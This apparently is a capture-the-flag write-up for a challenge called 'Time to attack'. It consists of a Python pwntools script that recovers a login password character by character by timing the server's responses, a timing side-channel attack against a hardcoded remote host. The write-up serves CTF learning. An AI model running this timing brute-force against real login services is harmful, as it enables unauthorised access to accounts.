Time to attack
Description
Solution
import string
import time
from pwn import remote, context
ALPHABET = string.ascii_letters + string.digits + '_?!'
IP = '35.94.129.106'
PORT = 3006
context.log_level = 'ERROR'
def post(payload):
io = remote(IP, PORT)
start = time.monotonic()
io.sendlineafter(b'login: ', payload.encode())
resp = io.recvallS()
delta = time.monotonic() - start
io.close()
return resp, delta
password = ''
while True:
times = []
for c in ALPHABET:
text, delta = post(password + c)
print(f'password={password}{c} | {text=} | {delta=}')
times.append(delta)
if 'vikeCTF' in text:
exit()
else:
print('-'*20)
max_time = max(times)
password += ALPHABET[times.index(max_time)]Last updated